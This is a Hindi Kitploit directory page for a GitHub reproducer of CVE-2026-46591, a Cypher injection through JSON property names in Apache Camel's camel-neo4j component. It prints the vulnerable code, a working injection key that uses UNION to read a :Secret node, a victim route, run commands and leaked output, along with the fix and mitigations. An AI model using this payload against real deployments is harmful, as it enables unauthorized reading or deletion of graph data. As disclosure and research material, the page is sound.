Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-46591 — CVE-2026-46591 के लिए रिप्रोड्यूसर: Apache Camel camel-neo4j में CamelNeo4jMatchProperties में प्रॉपर्टी नामों के माध्यम से Cypher इंजेक्शन, जो प्राधिकरण बाईपास / क्रॉस-लेबल डेटा एक्सफिल्ट्रेशन सक्षम करता है (4.14.8/4.18.3/4.21.0 में ठीक किया गया) | Kitploit
उपकरण/GitHubGitHub/oscerd/cve-2026-46591
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगडेटाबेस सुरक्षा
GitHuboscerd/cve-2026-46591

CVE-2026-46591

CVE-2026-46591 के लिए रिप्रोड्यूसर: Apache Camel camel-neo4j में CamelNeo4jMatchProperties में प्रॉपर्टी नामों के माध्यम से Cypher इंजेक्शन, जो प्राधिकरण बाईपास / क्रॉस-लेबल डेटा एक्सफिल्ट्रेशन सक्षम करता है (4.14.8/4.18.3/4.21.0 में ठीक किया गया)

रिपॉजिटरी देखें
11 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

camel-neo4j Cypher इंजेक्शन रीप्रोड्यूसर (CVE-2026-46591)

यह प्रोजेक्ट Apache Camel के camel-neo4j घटक में Cypher इंजेक्शन को प्रदर्शित करता है, जिसे CVE-2026-46591 के रूप में ट्रैक किया जाता है। प्रोड्यूसर अपने मैच/रीट्रीव और डिलीट ऑपरेशनों के लिए CamelNeo4jMatchProperties मैप से Cypher WHERE क्लॉज़ का निर्माण करता है। CVE-2025-66169 ने प्रॉपर्टी वैल्यूज़ के माध्यम से इंजेक्शन को उन्हें क्वेरी पैरामीटर ($paramN) के रूप में बाइंड करके संबोधित किया था — लेकिन प्रॉपर्टी नाम (उस मैप की JSON कुंजियाँ) अभी भी Neo4jProducer.retrieveNodes() और deleteNode() में क्वेरी स्ट्रिंग में शब्दशः (verbatim) जोड़े जाते हैं। इसलिए Cypher सिंटैक्स वाला प्रॉपर्टी नाम निष्पादित क्वेरी की संरचना को बदल देता है।

यह PoC प्रभाव को प्राधिकरण बायपास / डेटा एक्सफ़िलट्रेशन के रूप में प्रदर्शित करता है: एक हमलावर JSON कुंजी में Cypher डालता है ताकि एक :Person लुकअप को ( के माध्यम से) इस प्रकार फिर से लिखा जाए कि वह एक नोड भी लौटाए जिसे छूने का उसका इरादा कभी नहीं था — जो एडवाइज़री के "read, modify or delete any node or relationship" से मेल खाता है।

UNION
:Secret

एडवाइज़री: https://camel.apache.org/security/CVE-2026-46591.html

भेद्यता सारांश

प्रॉपर्टीमान
घटकcamel-neo4j
प्रभावित क्लासorg.apache.camel.component.neo4j.Neo4jProducer#retrieveNodes / #deleteNode (WHERE क्लॉज़ में प्रॉपर्टी नाम इंटरपोलेट किया जाता है)
CWECWE-943 (डेटा क्वेरी लॉजिक में विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन)
प्रभावCypher इंजेक्शन → मनमाने नोड्स और रिलेशनशिप्स को पढ़ना / संशोधित करना / हटाना
पूर्व-शर्तेंएक रूट अविश्वसनीय इनपुट को CamelNeo4jMatchProperties मैप में मैप करता है (जैसे रिक्वेस्ट बॉडी); हेडर Camel-प्रीफिक्स्ड है, इसलिए एक सादा HTTP क्लाइंट इसे सीधे सेट नहीं कर सकता
प्रभावित संस्करण4.10.0 से 4.14.8 से पहले, 4.15.0 से 4.18.3 से पहले, 4.19.0 से 4.21.0 से पहले
फिक्स्ड संस्करण4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23528 (PR apache/camel#23258)
क्रेडिटYu Bao (PayPal)

CVE-2025-66169 (CAMEL-22719) का अपूर्ण-सुधार अनुवर्ती, जिसने वैल्यूज़ को पैरामीटराइज़ किया लेकिन प्रॉपर्टी नामों को इंटरपोलेटेड छोड़ दिया। CVE-2025-27636, CVE-2026-40453 आदि के समान हेडर-इंजेक्शन-संबंधित परिवार।

तकनीकी विवरण

root@kitploit:~
// Neo4jProducer.retrieveNodes (affected 4.18.2) — the VALUE is a parameter, the NAME is concatenated verbatim:
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
    if (paramIndex > 0) whereClause.append(" AND ");
    String paramName = "param" + paramIndex;
    whereClause.append(alias).append(".").append(entry.getKey())   // <-- entry.getKey() (the JSON key) unescaped
               .append(" = $").append(paramName);
    queryParams.put(paramName, entry.getValue());                  // value is safely bound
    paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);

सामान्य मैप {"name":"alice"} के साथ क्वेरी MATCH (n:Person) WHERE n.name = $param0 RETURN n होती है। एक दुर्भावनापूर्ण कुंजी के साथ:

root@kitploit:~
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //

निर्मित क्वेरी बन जाती है (टेम्पलेट का अनुगामी // = $param0 RETURN n कमेंट कर दिया गया है):

root@kitploit:~
MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node

इसलिए प्रतिक्रिया में कॉलर का :Person नोड और :Secret नोड दोनों शामिल होते हैं।

फिक्स (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23528) retrieveNodes() और deleteNode() दोनों में सख्त प्रॉपर्टी-नाम सत्यापन (^[A-Za-z_][A-Za-z0-9_]*$) जोड़ता है, जो किसी भी गैर-मेल खाते नाम को Neo4jOperationException के साथ अस्वीकार कर देता है।

विक्टिम रूट

root@kitploit:~
from("platform-http:/lookup")
    .convertBodyTo(String.class)
    .setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
    .setHeader(Neo4jHeaders.MATCH_PROPERTIES, body())        // untrusted JSON body becomes the match map
    .to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");

एक "प्रॉपर्टी द्वारा व्यक्ति खोजें" API: क्लाइंट मैच मानदंड JSON के रूप में प्रदान करता है, और रूट इसे CamelNeo4jMatchProperties के रूप में प्रोड्यूसर को सौंप देता है। ग्राफ़ में दो :Person नोड्स के साथ एक :Secret नोड है जिसका value व्यक्ति लुकअप को कभी नहीं लौटाना चाहिए।

रिपॉजिटरी संरचना

विक्टिम Camel रूट और उसका Neo4j डेटाबेस है; अटैकर एक HTTP क्लाइंट है जो JSON कुंजी में Cypher डालता है। एक छोटा सीडर नोड्स को स्थापित करता है और Neo4j के तैयार होने पर ही स्टार्ट-अप की अनुमति देता है।

root@kitploit:~
CVE-2026-46591/
├── pom.xml                 # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml      # neo4j 5.26 + the app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── Neo4jSettings.java     # host / bolt / creds / secret flag
    │   ├── Neo4jConfig.java       # the Neo4j Driver bean (referenced as #neo4jDriver)
    │   ├── Neo4jSeeder.java       # waits for Neo4j, seeds :Person + :Secret nodes
    │   ├── VictimRoute.java       # platform-http:/lookup -> neo4j RETRIEVE_NODES
    │   └── ExploitController.java # attacker: legit vs Cypher-in-the-JSON-key
    └── resources/
        └── application.properties

पूर्व-आवश्यकताएँ

  • Docker और Docker Compose (Neo4j + ऐप चलाता है)
  • Java 17+ और Maven 3.8+ (jar बनाने के लिए)

पुनरुत्पादन चरण

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build           # first start pulls the ~1GB neo4j image
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

अपेक्षित आउटपुट

root@kitploit:~
=== 1) Legitimate lookup  body={"name":"alice"} ===
  [{name=alice, role=user}]
  secret leaked: false

=== 2) Injected lookup  (Cypher in the JSON key) ===
  key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
  [{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
  secret leaked: true

>>> Cypher-injection proof — a property NAME rewrote the query to read a :Secret node the
>>> :Person lookup should never return: true

हमले के वेक्टर

कोई भी रूट जो RETRIEVE_NODES या DELETE_NODE ऑपरेशन के लिए अविश्वसनीय डेटा को CamelNeo4jMatchProperties में ले जाता है। UNION के माध्यम से अन्य लेबल पढ़ने के अलावा, एक इंजेक्टेड कुंजी मनमाने नोड्स और रिलेशनशिप्स को संशोधित या नष्ट करने के लिए SET/DELETE/DETACH DELETE क्लॉज़ जोड़ सकती है।

अनुशंसित फिक्स

4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23528) में अपग्रेड करें। फिक्स के बाद, क्वेरी में रखे जाने से पहले प्रॉपर्टी नामों को ^[A-Za-z_][A-Za-z0-9_]*$ के विरुद्ध सत्यापित किया जाता है।

शमन (Mitigation)

अपग्रेड करने तक, CamelNeo4jMatchProperties को अविश्वसनीय इनपुट से न भरें: Neo4j प्रोड्यूसर से पहले प्रॉपर्टी नामों को सत्यापित करें या अनुमति-सूची (allow-list) में रखें (उदाहरण के लिए ^[A-Za-z_][A-Za-z0-9_]*$ के विरुद्ध), और सुनिश्चित करें कि ऐसे रूट को फीड करने वाला कोई भी कंज़्यूमर इनबाउंड Camel* / camel* हेडर को फ़िल्टर करे ताकि मैच हेडर किसी बाहरी प्रेषक द्वारा आपूर्ति न किया जा सके।

अस्वीकरण

यह रीप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और फिक्स्ड भेद्यता के लिए। बिना स्पष्ट अनुमति के इसे सिस्टम के विरुद्ध उपयोग न करें।

टूल डाउनलोड करें